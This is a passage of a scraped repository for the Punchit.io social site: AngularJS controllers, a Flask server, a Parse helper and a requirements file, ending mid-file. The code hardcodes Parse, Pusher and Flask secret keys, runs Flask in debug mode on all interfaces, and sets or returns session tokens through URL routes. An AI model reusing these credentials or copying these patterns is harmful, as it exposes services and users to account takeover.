{\n\t\t\t\t\t\t\t\t\t\t$('#PunchModel').closeModal();\n\t\t\t\t\t\t\t\t\t\tvar $toastContent = $('<span> Posted successfully</span>');\n\t\t\t\t\t\t\t\t\t\tMaterialize.toast($toastContent, 5000);\n $('#CreatePunch').load(document.URL + ' #CreatePunch');\n location.reload();\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\terror: function (error) {\n\t\t\t\t\t\t\t\tvar $toastContent = $('<span>'+String(error)+'</span>');\n\t\t\t\t\t\t\t\tMaterialize.toast($toastContent, 5000);\n wait.style.display = \"none\"\n location.reload();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n }\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tvar $toastContent = $('<span>Please check and fill all the fields</span>');\n\t\t\t\t\tMaterialize.toast($toastContent, 5000);\n\t\t\t\t}\n }\n\t\t\t// }\n});\n\nfunction uniq(a) {\n return a.sort().filter(function(item, pos, ary) {\n return !pos || item != ary[pos - 1];\n })\n}\n\n\napp.controller('DetailsController',function($scope,$http,Data) {\n\n\n\nfunction detectmob() {\n\t if( navigator.userAgent.match(/Android/i)\n\t || navigator.userAgent.match(/webOS/i)\n\t || navigator.userAgent.match(/iPhone/i)\n\t || navigator.userAgent.match(/iPad/i)\n\t || navigator.userAgent.match(/iPod/i)\n\t || navigator.userAgent.match(/BlackBerry/i)\n\t || navigator.userAgent.match(/Windows Phone/i)\n ){\n\t\t\treturn true;\n\t\t}\n\t else {\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tif(!detectmob())\n\t{\n\t\t$scope.width = \"100%\";\n\t\t$scope.blur_img = \"width:90%;margin-left:6%;margin-top:-10px; height:480px\";\n\t\t$scope.dp = \"width:15%\";\n\t\t$scope.follow_div = \"right:170px;height:30px; width:100px;margin-top:-110px;float:right\";\n\t\t$scope.color = \"red\"\n\t\t$scope.ffp_full = \"width:90%;margin-left:6%;margin-top:2%;\";\n\t\t$scope.follower = \"width:50px; height:10px; padding-top:2px\";\n\t\t$scope.divider1 = \"width:2px;margin-top:10px; height:70px\";\n\t\t$scope.following = \"null\";\n\t\t$scope.divider2 = \"width:2px;margin-top:10px; height:70px\";\n\t}\n\telse {\n\t\t$scope.width=\"70%\"\n\t\t$scope.blur_img = \"width:100%;margin-left:6%;margin-top:-10px; height:480px\";\n\t\t$scope.dp = \"width:20%\";\n\t\t$scope.follow_div = \"margin-left:35%;height:30px;float:left;\";\n\t\t$scope.color = \"red\"\n\t\t$scope.ffp_full = \"width:100%;margin-left:5%;\";\n\t\t$scope.follower = \"\";\n\t\t$scope.divider1 = \"width:2px;margin-top:10px; height:70px;\";\n\t\t$scope.following = \"\";\n\t\t$scope.divider2 = \"width:2px;margin-top:10px; height:70px;\";\n\t}\n\n\n\tvar params = {};\n\tvar User = null;\n\tif (location.search) {\n\t\t\tvar parts = location.search.substring(1).split('&');\n\n\t\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\t\t\tvar nv = parts[i].split('=');\n\t\t\t\t\tif (!nv[0]) continue;\n\t\t\t\t\tparams[nv[0]] = nv[1] || true;\n\t\t\t}\n\t}\n\tvar objectId = params.id\n\tif(objectId == Parse.User.current().id || objectId == null)\n\t{\n\tUser = Parse.User.current()\n\t$scope.Name = Parse.User.current().get(\"Name\")\n\t$scope.Ninja_name = Parse.User.current().get(\"Ninja_name\")\n\t$scope.ProfilePicture = Parse.User.current().get(\"ProfilePicture\").url()\n\tvar Follow = document.getElementById('Follow')\n\t$scope.display = 'none'\n\t}\n\telse {\n\t\tUser = new Parse.User();\n\t\tUser.id = objectId\n\t\tUser.fetch({\n\t\t\tsuccess : function (usr) {\n\t\t\t\t// console.log(\"----Name ==\" + usr.get(\"Name\"))\n\t\t\t\t$scope.Name = User.get(\"Name\")\n\t\t\t\t$scope.Ninja_name = User.get(\"Ninja_name\")\n\t\t\t\t$scope.ProfilePicture = User.get(\"ProfilePicture\").url()\n\t\t\t}\n\t\t})\n\t\tCheckIfIamFollowing()\n\t\t$scope.display = 'block'\n\t}\n\n\t// $(\"#ProfilePicture\").load(function() {\n\t// \tvar img = document.getElementById('ProfilePicture')\n\t// \txi=new XMLHttpRequest();\n\t// \txi.open(\"GET\",img.src,true);\n\t// \txi.send();\n\t//\n\t// xi.onreadystatechange=function() {\n\t// if(xi.readyState==4 && xi.status==200) {\n\t// img=new Image;\n\t// img.onload=function(){\n\t//\n\t// }\n\t// img.src=xi.responseText;\n\t// }\n\t// }\n\t// })\n\n\n\t$scope.isFollowing = \"Please wait ..\"\n\tGetFollowers()\n\tGetFollowing()\n\t$scope.Data = Data\n\tfunction GetFollowers()\n\t{\n\t$scope.Posts = Data.Value\n\tvar FollowObject = Parse.Object.extend(\"FollowList\")\n\tvar GetFollowersQuery = new Parse.Query(FollowObject)\n\tGetFollowersQuery.equalTo(\"Following\",User)\n\tGetFollowersQuery.find({\n\t\tsuccess : function (Followers) {\n\t\t\t// console.log(Followers.length);\n\t\t\t$scope.Followers = Followers.length\n\t\t\t$scope.$apply()\n\t\t}\n\t})\n\t}\n\tfunction GetFollowing()\n\t{\n\tvar FollowObject = Parse.Object.extend(\"FollowList\")\n\tvar GetFollowingQuery = new Parse.Query(FollowObject)\n\tGetFollowingQuery.equalTo(\"Follower\",User)\n\tGetFollowingQuery.find({\n\t\tsuccess : function (Following) {\n\t\t\tconsole.log(Following.length);\n\t\t\t$scope.Following = Following.length\n\t\t\t$scope.$apply()\n\t\t}\n\t})\n\t}\n\n\t$scope.FollowUnfollowAction = function()\n\t{\n\t\tvar FollowType = Parse.Object.extend(\"FollowList\")\n\t\tvar FollowObject = new FollowType();\n\t\tFollowObject.set(\"Follower\",Parse.User.current())\n\t\tFollowObject.set(\"Following\",User)\n\t\tFollowObject.set(\"FollowingName\",User.get(\"Name\"))\n\t\tif($scope.isFollowing == \"Follow\")\n\t\t{\n\t\t\tFollowObject.save({success : function(Object) {\n\t\t\t\t$scope.objectIdOfFollowObject = Object.id\n\t\t\t}})\n\t\t\t$scope.isFollowing = \"Unfollow\"\n\t\t\t$scope.icon = \"Follwing\"\n\t\t\t$scope.Followers += 1\n\t\t}\n\t\telse {\n\t\t\tFollowObject = new FollowType();\n\t\t\tvar Query = new Parse.Query(FollowType);\n\t\t\tQuery.equalTo(\"objectId\",$scope.objectIdOfFollowObject)\n\t\t\tQuery.find({\n\t\t\t\tsuccess:function(Objects) {\n\t\t\t\t\tObjects[0].destroy()\n\t\t\t\t}\n\t\t\t})\n\n\t\t\t$scope.isFollowing = \"Follow\"\n\t\t\t$scope.icon = \"+Follow\"\n\t\t\t$scope.Followers -= 1\n\t\t}\n\t}\n\nfunction CheckIfIamFollowing()\n{\n\tvar FollowObject = Parse.Object.extend(\"FollowList\")\n\tvar GetFollowingQuery = new Parse.Query(FollowObject)\n\tGetFollowingQuery.equalTo(\"Follower\",Parse.User.current())\n\tGetFollowingQuery.find({\n\t\tsuccess : function (Following) {\n\t\t\tif(Following.length == 0)\n\t\t\t{\n\t\t\t\t$scope.isFollowing = \"Follow\"\n\t\t\t\t$scope.icon = \"+Follow\"\n\t\t\t}\n\t\t\tfor(var i=0;i<Following.length;i++)\n\t\t\t{\n\t\t\t\t// Unfollow : remove\n\t\t\t\t// Follow : person_add\n\t\t\t\t// console.log(\"Follower = \" + Following[i].get(\"Follower\").id + \"Following =\" + Following[i].get(\"Following\").id);\n\t\t\t\tif(Following[i].get(\"Follower\").id == Parse.User.current().id && Following[i].get(\"Following\").id == User.id)\n\t\t\t\t{\n\t\t\t\t\t// console.log(\"Yahh is Following\");\n\t\t\t\t\t$scope.isFollowing = \"UnFollow\";\n\t\t\t\t\t$scope.icon = \"-UnFollow\"\n\t\t\t\t\t$scope.objectIdOfFollowObject = Following[i].id;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t$scope.isFollowing = \"Follow\"\n\t\t\t\t\t$scope.icon = \"+Follow\"\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t})\n}\n\n})\n\napp.controller('UserPunchesController',function($scope,$http,Data) {\n\n\tfunction detectmob() {\n\t if( navigator.userAgent.match(/Android/i)\n\t || navigator.userAgent.match(/webOS/i)\n\t || navigator.userAgent.match(/iPhone/i)\n\t || navigator.userAgent.match(/iPad/i)\n\t || navigator.userAgent.match(/iPod/i)\n\t || navigator.userAgent.match(/BlackBerry/i)\n\t || navigator.userAgent.match(/Windows Phone/i)\n\t ){\n\t return true;\n\t }\n\t else {\n\t return false;\n\t }\n\n\t}\n\n\tif(detectmob())\n\t{\n\t\t$scope.width = \"100%\";\n\t}\n\telse {\n\t\t$scope.width=\"70%\"\n\t\t$scope.pcmargin = \"16%\"\n\t}\n\n\n\tvar params = {};\n\tvar User = null\n\tif (location.search) {\n\t var parts = location.search.substring(1).split('&');\n\n\t for (var i = 0; i < parts.length; i++) {\n\t var nv = parts[i].split('=');\n\t if (!nv[0]) continue;\n\t params[nv[0]] = nv[1] || true;\n\t }\n\t}\n\tvar objectId = params.id\n\tif(objectId == Parse.User.current() || objectId == null)\n\t{\n\t\tUser = Parse.User.current();\n\t}\n\telse {\n\t\tUser = new Parse.User();\n\t\tUser.id = objectId\n\t\tUser.fetch()\n\t}\n\n\t$scope.posts = new Array()\n\t$scope.PostsVisibility = true\n\t$scope.openComment = function(index) {\n\t\t// console.log(\"df\");\n\t\t$('#modal1').openModal();\n\t\tGetComments($scope.posts[index].id)\n\n\t}\n\t$scope.LoadMore = function () {\n\t\t// console.log(\"clicked\");\n\t\t// spinner\n\t\tvar spinner = document.getElementById('spinner')\n\t\tspinner.style.display = 'block'\n\t\tGetPosts()\n\t}\n\n\tParse.initialize(\"Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4\", \"fR1P17QhE9b7PKOa1wXozi0yo8IAlYLSIzqYh4EU\");\n\t$http.get('/GetSessionToken')\n\t.then(function(response) {\n\t\t// console.log(response.data);\n\tParse.User.become(response.data)\n\tGetPosts()\n\t})\n\n\t$scope.Punch = function(index,which){\n\t\t\tvar current_user = Parse.User.current()\n\t\t\tvar objectId = $scope.posts[index].id;\n\n\t\t\t\t\tParse.Cloud.run(\"TapTap\", {which:which,userObjID:current_user.id,objectId:objectId},{\n\t\t\t\t\t\tsuccess:function(response) {\n\t\t\t\t\t\t\t// console.log(JSON.stringify(response));\n\t\t\t\t\t\t\t$scope.posts[index] = response\n\t\t\t\t\t\t\t$scope.$apply()\n\t\t\t\t\t\t},\n\t\t\t\t\t\terror : function(error) {\n\t\t\t\t\t\t\t// console.log(error);\n\t\t\t\t\t\t}\n\t\t\t\t\t})\n\t\t}\n\nfunction GetPosts(hashTag)\n{\n\t\tvar posts = Parse.Object.extend(\"Posts\")\n\t\tvar Query = new Parse.Query(posts)\n\n\n\t\tQuery.equalTo(\"By\",User)\n\n\t\tif($scope.posts.length > 0){\n\t\t\t// console.log(\"load more\");\n\t\t\tvar ExistingObjectIds=new Array();\n\t\t\tfor(var i=0;i<$scope.posts.length;i++)\n\t\t\t{\n\t\t\t\t// console.log($scope.posts[i].id);\n\t\t\t\tExistingObjectIds[i] = $scope.posts[i].id;\n\t\t\t}\n\t\t\t// console.log(ExistingObjectIds);\n\t\t\tQuery.notContainedIn(\"objectId\",ExistingObjectIds)\n\t\t}\n\t\tQuery.descending(\"createdAt\")\n\t\tQuery.find({\n\t\t\tsuccess : function (data) {\n\t\t\t\t\tData.Value = data.length\n\t\t\t\t\tif(data !=null && data != 'undefined'){\n\t\t\t\t\t\t// $scope.posts=data\n\t\t\t\t\t\t// console.log(typeof($scope.post));\n\t\t\t\t\t\tfor(var i=0;i<data.length;i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar SinglePost = data[i];\n\t\t\t\t\t\t\t// console.log(JSON.stringify(SinglePost));\n\t\t\t\t\t\t\tSinglePost.Image1Title = SinglePost.get(\"Image1Title\")\n\t\t\t\t\t\t\tSinglePost.Image2Title = SinglePost.get(\"Image2Title\")\n var createdAt = SinglePost.get('createdAt')\n\t\t\t\t\t\t\tvar timeStamp = GetTimeStamp(createdAt)\n\t\t\t\t\t\t\tSinglePost.set('TimeStamp',timeStamp);\n\t\t\t\t\t\t\tSinglePost.set(\"Votes1\",SinglePost.get('Punchers1').length)\n\t\t\t\t\t\t\tSinglePost.set(\"Votes2\",SinglePost.get('Punchers2').length)\n\n\t\t\t\t\t\t\tvar user = SinglePost.get('By')\n\t\t\t\t\t\t\tuser.fetch({\n\t\t\t\t\t\t\t\tsuccess:function(myObject) {\n\t\t\t\t\t\t\t\t\tconsole.log(JSON.stringify(myObject));\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t});\n if(SinglePost.get('Votes1') > 0 || SinglePost.get('Votes2') > 0)\n {\n if(SinglePost.get('Punchers1').indexOf(Parse.User.current().id) > -1)\n {\n SinglePost.set('isVoted1',\"block\")\n SinglePost.set('isVoted2',\"none\")\n // alert(SinglePost.Image1Title + SinglePost.Image2Title + \" = isVoted1 = \" + SinglePost.get('isVoted1') + \" isVoted2 = \" + SinglePost.get('isVoted2'));\n }\n\n else if(SinglePost.get('Punchers2').indexOf(Parse.User.current().id) > -1)\n {\n SinglePost.set('isVoted1',\"none\")\n SinglePost.set('isVoted2',\"block\")\n // alert(SinglePost.Image1Title + SinglePost.Image2Title + \" = isVoted1 = \" + SinglePost.get('isVoted1') + \" isVoted2 = \" + SinglePost.get('isVoted2'));\n }\n else {\n SinglePost.set('isVoted1',\"none\")\n SinglePost.set('isVoted2',\"none\")\n }\n }\n else {\n SinglePost.set('isVoted1',\"none\")\n SinglePost.set('isVoted2',\"none\")\n }\n\t\t\t\t\t\t\t$scope.posts.push(SinglePost)\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$scope.PostsVisibility = false;\n\t\t\t\t\t\t//spinner\n\t\t\t\t\t\tvar spinner = document.getElementById('spinner')\n\t\t\t\t\t\tspinner.style.display = 'none'\n\t\t\t\t\t\t$scope.$apply()\n\t\t\t\t\t\t// console.log($scope.posts.length);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t// console.log(\"null\");\n\t\t\t\t\t}\n\t\t\t},\n\t\t\terror : function (error) {\n\t\t\t\t// console.log(error);\n\t\t\t}\n\t\t})\n}\n\nfunction GetTimeStamp(createdAt)\n{\n\tvar currentDate = new Date()\n\tvar Time;\n\tif(Math.abs(currentDate.getMonth() - createdAt.getMonth()) == 0)\n\t{\n\t\tif(Math.abs(currentDate.getDay() - createdAt.getDay()) > 7)\n\t\t{\n\t\t\tTime = String(parseInt(Math.abs(currentDate.getDay() - createdAt.getDay())) / 7 ) + \"W\"\n\t\t}\n\t\telse if (Math.abs(currentDate.getDay() - createdAt.getDay()) > 0)\n\t\t{\n\t\t\tTime = String(Math.abs(currentDate.getDay() - createdAt.getDay())) + \"d\"\n\t\t}\n\t\telse if (Math.abs(currentDate.getHours() - createdAt.getHours()) > 0){\n\t\t\tTime = String(Math.abs(currentDate.getHours() - createdAt.getHours())) + \"h\"\n\t\t}\n\t\telse {\n\t\t{\n\t\t\t\t\tTime = String(Math.abs(currentDate.getMinutes() - createdAt.getMinutes())) + 'm'\n\t\t}\n\t\t}\n\t}\n\telse {\n\t\tTime = String(Math.abs(currentDate.getMonth() - createdAt.getMonth())) + 'M'\n\t}\n\treturn Time;\n}\n\n$scope.PostComment=function(){\n\tvar objectId = $scope.objectId\n\tvar CommentObj = Parse.Object.extend(\"Comment\")\n\tvar Comment = new CommentObj();\n\tvar Post = {\n\t__type: 'Pointer',\n\tclassName: 'Posts',\n\tobjectId: objectId\n\t}\n\tComment.set(\"User\",Parse.User.current())\n\tComment.set(\"Post\",Post)\n\tComment.set(\"comment\",$scope.cc)\n\tif($scope.cc != null && $scope.cc !=\"undefined\")\n\t{\n\tComment.save()\n\t$scope.comments.push(Comment)\n\t$scope.cc = null\n\t$scope.$apply();\n\tMaterialize.toast('Comment Added successfully', 4000)\n\t}\n\telse {\n\t\tMaterialize.toast('Comment cannot be null', 4000)\n\t}\n}\n\nfunction GetComments(objectId)\n{\n\t\t\t$scope.objectId = objectId\n\t\t\tvar Comment = Parse.Object.extend(\"Comment\")\n\t\t\tvar CommentQuery = new Parse.Query(Comment);\n\t\t\tvar Post = {\n\t\t\t__type: 'Pointer',\n\t\t\tclassName: 'Posts',\n\t\t\tobjectId: objectId\n\t\t\t}\n\t\t\tCommentQuery.equalTo(\"Post\",Post)\n\t\t\tCommentQuery.find({\n\t\t\t\tsuccess : function (Comments) {\n\t\t\t\t\t\tfor(var i=0;i<Comments.length;i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar User = Comments[i].get(\"User\",Parse.User.current())\n\t\t\t\t\t\t\tUser.fetch()\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(Comments.length < 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$scope.youFirst = false\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$scope.youFirst = true\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$scope.comments = Comments\n\t\t\t\t\t\t$scope.$apply()\n\t\t\t\t},\n\t\t\t\terror : function (error) {\n\t\t\t\t\t// console.log(error);\n\t\t\t\t}\n\t\t\t})\n}\n\nfunction detectmob() {\n if( navigator.userAgent.match(/Android/i)\n || navigator.userAgent.match(/webOS/i)\n || navigator.userAgent.match(/iPhone/i)\n || navigator.userAgent.match(/iPad/i)\n || navigator.userAgent.match(/iPod/i)\n || navigator.userAgent.match(/BlackBerry/i)\n || navigator.userAgent.match(/Windows Phone/i)\n ){\n return true;\n }\n else {\n return false;\n }\n}\n})\n\napp.controller('share',['$scope','PostService','Time',function($scope,PostService,Time) {\n init();\n function init()\n {\n \tif(location.href.split('/').indexOf(\"share\") != -1)\n {\n var objectId = location.href.split('/')[location.href.split('/').indexOf(\"share\") + 1]\n //console.log(objectId)\n //console.log(objectId);\n Parse.initialize(\"Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4\", \"fR1P17QhE9b7PKOa1wXozi0yo8IAlYLSIzqYh4EU\");\n var posts = Parse.Object.extend(\"Posts\")\n var Query = new Parse.Query(posts)\n Query.equalTo(\"objectId\",objectId)\n Query.include(\"_User\")\n Query.descending(\"createdAt\")\n Query.limit(5);\n Query.find({\n success : function (data) {\n if(data !=null && data != 'undefined')\n {\n for(var i=0;i<data.length;i++)\n {\n var SinglePost = data[i];\n SinglePost.Image1Title = SinglePost.get(\"Image1Title\")\n SinglePost.Image2Title = SinglePost.get(\"Image2Title\")\n var user = SinglePost.get('By')\n user.fetch({\n success:function(myObject) {\n var createdAt = SinglePost.get('createdAt')\n var timeStamp = Time.GetTimeStamp(createdAt)\n SinglePost.set('TimeStamp',timeStamp);\n SinglePost.set(\"Votes1\",SinglePost.get('Punchers1').length)\n SinglePost.set(\"Votes2\",SinglePost.get('Punchers2').length)\n $scope.SinglePost = SinglePost\n //console.log($scope.SinglePost)\n $scope.$apply()\n }\n });\n\n }\n\n }\n },\n error : function (error) {\n \n }\n })\n }\n //}\n }\n}]);\n\napp.directive('myEnter', function () {\n return function (scope, element, attrs) {\n element.bind(\"keydown keypress\", function (event) {\n if(event.which === 13) {\n scope.$apply(function (){\n scope.$eval(attrs.myEnter);\n });\n\n event.preventDefault();\n }\n });\n };\n});\n\napp.directive('wmBlock', function ($parse) {\n return {\n scope: {\n wmBlockLength: '='\n },\n link: function (scope, elm, attrs) {\n\n elm.bind('keypress', function(e){\n\n if(elm[0].value.length > scope.wmBlockLength){\n e.preventDefault();\n return false;\n }\n });\n }\n }\n});\n\napp.config(['$interpolateProvider', function($interpolateProvider) {\n $interpolateProvider.startSymbol('{a');\n $interpolateProvider.endSymbol('a}');\n}])\n"},{"alpha_fraction":0.682009756565094,"alphanum_fraction":0.6914516687393188,"avg_line_length":27.37799072265625,"blob_id":"bbd5774b2cea381c06eb92f5e673f2ee4c8b5592","content_id":"d94be2f9bf013010d76b485f73f5c444ddaa1458","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":5931,"license_type":"no_license","max_line_length":108,"num_lines":209,"path":"/hello.py","repo_name":"smitthakkar96/Punchit.io_website_master","src_encoding":"UTF-8","text":"from parse_rest.user import User\nimport settings_local\nfrom flask import Flask,request,redirect, url_for ,render_template,send_from_directory,session,make_response\nfrom parse_rest.connection import SessionToken, register\nfrom parse_rest.datatypes import Function\nimport json,httplib\nimport os\nfrom flask.ext.triangle import Form,Triangle\nfrom flask.ext.triangle.widgets.standard import TextInput\nfrom datetime import timedelta\nfrom flask import session, app\nimport os\nimport pusher\nimport getPost\nfrom flask import Blueprint\n\nsettings_local.initParse()\napp = Flask(__name__)\nTriangle(app)\napp.config['UPLOAD_FOLDER'] = 'uploads/'\n\nHackathon = Blueprint('Hackathon', __name__,\n template_folder='templates',subdomain=\"hack404\")\napp.register_blueprint(Hackathon)\n\n\n@app.before_request\ndef make_session_permanent():\n session.permanent = True\n app.permanent_session_lifetime = timedelta(minutes=46440)\n\n@app.route('/',methods=['GET', 'POST'])\ndef index():\n #\tsettings_local.initParse()\n\t# if request.method == 'POST' and request.form[\"what\"]== 'Login':\n\t# \ttry:\n\t# \t\tprint request.form[\"password\"]\n\t# \t\tu = User.login(request.form[\"username\"],request.form[\"password\"])\n\t# \t\tsession['session_token'] = u.sessionToken\n\t# \t\tresp = make_response(render_template(\"index.html\"))\n\t# \t\treturn resp\n\t# \texcept:\n\t# \t\treturn render_template('login.html',error=\"Invalid username or password\")\n\t# elif request.method == 'POST' and request.form[\"what\"]=='SignUp':\n\t# \temail = request.form[\"email\"]\n\t# \tpassword = request.form[\"password\"]\n\t# \tninja = request.form[\"ninja\"]\n\t# \tbirthdate = request.form[\"birthdate\"]\n\t# \tu = User.signup(email,password)\n\t# \tu.email=email\n\t# \tu.save()\n\t# \t# proPic.save(os.path.join(app.config['UPLOAD_FOLDER']),\"userdp.png\")\n\t\t# connection = httplib.HTTPSConnection('api.parse.com', 443)\n\t\t# connection.connect()\n\t\t# connection.request('POST', '/1/files/profilePic.png', open('userdp.png', 'rb').read(), {\n\t\t# \"X-Parse-Application-Id\": \"${Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4}\",\n\t\t# \"X-Parse-REST-API-Key\": \"${nJOJNtVr1EvNiyjo6F6M8zfiUdzv8lPx31FBHiwO}\",\n\t\t# \"Content-Type\": \"image/png\"\n\t\t# })\n\t\t# result = json.loads(connection.getresponse().read())\n\t\t# print result\n\t\t# connection.request('POST', '/1/classes/_User', json.dumps({\n\t\t# \"username\": email,\n\t\t# \"picture\": {\n\t\t# \"name\": \"profilePic.png\",\n\t\t# \"__type\": \"File\"\n\t\t# }\n\t\t# }), {\n\t\t# \"X-Parse-Application-Id\": \"${Y4Txek5e5lKnGzkArbcNMVKqMHyaTk3XR6COOpg4}\",\n\t\t# \"X-Parse-REST-API-Key\": \"${nJOJNtVr1EvNiyjo6F6M8zfiUdzv8lPx31FBHiwO}\",\n\t\t# \"Content-Type\": \"application/json\"\n\t\t# })\n\t\t# result = json.loads(connection.getresponse().read())\n\t\t# print result\n\t# \tsession['session_token'] = u.sessionToken\n\t# \tresp = make_response(render_template(\"index.html\"))\n\t# \treturn u.sessionToken\n\t# else:\n\t# \tif session.get('session_token') is None:\n\t# \t\tprint \"nohhh\"\n\t# \t\treturn render_template('login.html')\n\t# \telse:\n\t# \t\tprint \"yes\"\n\t# \t\treturn render_template('index.html')\n # print \"hack\"\n\treturn render_template('Error.html')\n\n@app.route('/hack404')\ndef hackathon():\n return render_template('hackathon.html')\n\n@app.route('/js/<path:path>')\ndef send_js(path):\n\tprint path\n\treturn send_from_directory('js', path)\n\n@app.route('/assets/images/<path:path>')\ndef send_from_assets_images(path):\n print path\n return send_from_directory('assets/images', path)\n\n@app.route('/assets/javascripts/<path:path>')\ndef send_from_assets_js(path):\n print path\n return send_from_directory('assets/javascripts', path)\n\n@app.route('/assets/stylesheets/<path:path>')\ndef send_from_assets_css(path):\n print path\n return send_from_directory('assets/stylesheets', path)\n\n@app.route('/mobileLogin')\ndef mobileLogin():\n if session.get('session_token') is None:\n return render_template('mlogin.html')\n\n@app.route('/css/<path:path>')\ndef send_css(path):\n\tprint path\n\treturn send_from_directory('css', path)\n\n@app.route('/font/<path:path>')\ndef send_font(path):\n\tprint path\n\treturn send_from_directory('font', path)\n\n@app.route('/NewUpdate/<objectId>')\ndef NewUpdate(objectId):\n p = pusher.Pusher(app_id='173885',key='2f8f1cab459e648a27fd',secret='80905f147470664954bd',ssl=True,port=443)\n p.trigger('PostChannel', 'NewUpdate', {'message': objectId})\n return \"success\"\n\n\n@app.route('/images/<path:path>')\ndef send_images(path):\n\tprint path\n\treturn send_from_directory('images', path)\n\n@app.route('/Icons/<path:path>')\ndef Icons(path):\n\tprint path\n\treturn send_from_directory('Icons', path)\n\n@app.route('/logout')\ndef logout():\n\t# session.Abandon()\n\tsession.clear()\n\treturn redirect(url_for('index'))\n\ndef GetCurrentUser():\n\ttoken = session.get('session_token')\n\tsettings_local.initParse(token)\n\tme = User.current_user()\n\treturn me\n\n@app.route('/setSession/<path:path>')\ndef setSession(path):\n\tsession['session_token'] = path\n\treturn render_template('index.html')\n\n@app.route('/GetSessionToken')\ndef GetSessionToken():\n\ttoken = session.get('session_token')\n\treturn str(token)\n\n@app.route('/GetUserInterests')\ndef GetUserInterests():\n\td = []\n\tGetCurrentUser()\n\tuser_interest_function = Function(\"GetUserIntrest\")\n\td = user_interest_function()\n\treturn json.dumps(d)\n\n@app.route('/Profile')\ndef Profile():\n if session.get('session_token') != None:\n return render_template('profile.html')\n else:\n return render_template('login.html')\n\n@app.route('/Select_Interests')\ndef Select_Interests():\n if session.get('session_token') != None:\n return render_template('Settings.html')\n else:\n return render_template('login.html')\n\n@app.route('/share/<path:path>')\ndef share(path):\n SinglePost = getPost.getSinglePost(path)\n return render_template('Posts.html',SinglePost=SinglePost)\n\n@app.route('/Settings')\ndef Settings():\n\treturn render_template('Settings.html')\n\n@app.route('/download')\ndef download():\n\treturn render_template('Error.html')\n\nport = int(os.environ.get('PORT', 5000))\napp.secret_key = 'A0Zr98j/3yX R~XHH!jmN]LWX/,?RT'\napp.run(host=\"0.0.0.0\",debug=True,port=port)\n\n\n# font images)\n\n\n#font images\n"},{"alpha_fraction":0.7622377872467041,"alphanum_fraction":0.7657342553138733,"avg_line_length":27.5,"blob_id":"62f78f3fa14a99765ef773d21b5fbdf3b23dc9b4","content_id":"546131a2fa95f80bae1149dc9cd49eafa8c4203f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":286,"license_type":"no_license","max_line_length":49,"num_lines":10,"path":"/getPost.py","repo_name":"smitthakkar96/Punchit.io_website_master","src_encoding":"UTF-8","text":"from parse_rest.datatypes import Object\nimport settings_local\n\ndef getSinglePost(objectId):\n settings_local.initParse()\n className=\"Posts\"\n Posts=Object.factory(className)\n SinglePost=Posts.Query.get(objectId=objectId)\n print SinglePost.Image1.url\n return SinglePost\n\n"},{"alpha_fraction":0.47630923986434937,"alphanum_fraction":0.7057356834411621,"avg_line_length":15.708333015441895,"blob_id":"2e3852d89487488dc8db3caa49287e45f55e1925","content_id":"b47167c63d19da04c180e6b1b4680ddad4b8905c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Text","length_bytes":401,"license_type":"no_license","max_line_length":24,"num_lines":24,"path":"/requirements.txt","repo_name":"smitthakkar96/Punchit.io_website_master","src_encoding":"UTF-8","text":"cffi==1.5.0\ncryptography==1.2.1\nenum34==1.1.2\nFlask==0.10.1\nFlask-Triangle==0.5.4\nfunctools32==3.2.3.post2\ngunicorn==19.4.5\nidna==2.0\nipaddress==1.0.16\nitsdangerous==0.24\nJinja2==2.8\njsonschema==2.5.1\nMarkupSafe==0.23\nndg-httpsclient==0.4.0\nparse-rest==0.2.20141004\npusher==1.2.3\npyasn1==0.1.9\npycparser==2.14\npyOpenSSL==0.15.1\nrequests==2.9.1\nsix==1.10.0\nurllib3==1.14\nWerkzeug==0.11.3\nwheel==0.24.0\n"},{"alpha_fraction":0.7755101919174194,"alphanum_fraction":0.7755101919174194,"avg_line_length":23.5,"blob_id":"cc96392561bb672e9eebef2d75d924dc4df1f923","content_id":"83970e5afba48b22e8f45a5fa414cbdd35ac4a33","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":49,"license_type":"no_license","max_line_length":27,"num_lines":2,"path":"/README.md","repo_name":"smitthakkar96/Punchit.io_website_master","src_encoding":"UTF-8","text":"#Punchit.io website \n# Punchit.io_website_master\n"},{"alpha_fraction":0.5850793123245239,"alphanum_fraction":0.58977872133255,"avg_line_length":27.691011428833008,"blob_id":"c892e846422dea2a83ba45eb8fd14fa45a0f100e","content_id":"9577360b647e37ea5805d8e7997d66db62a8d56a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":5107,"license_type":"no_license","max_line_length":152,"num_lines":178,"path":"/js/SettingsController.js","repo_name":"smitthakkar96/Punchit.io_website_master","src_encoding":"UTF-8","text":"var app = angular.module('app',['app.controllers','app.factory'])\n\napp.controller(\"MainController\",function($scope){\n\n});\n\napp.controller(\"FriendsController\",['$scope','GetFacebookFriends','GetFriendsFromInterests',function($scope,GetFacebookFriends,GetFriendsFromInterests){\n var promise = GetFacebookFriends.GetFriends()\n promise.then(function(Data){\n for(var i=0;i<Data.length;i++)\n {\n if(Data[i].isFollowing)\n {\n Data[i].symbol = \"remove\"\n }\n else {\n Data[i].symbol = \"add\"\n }\n }\n $scope.FacebookFriends = Data\n })\n var promise2 = 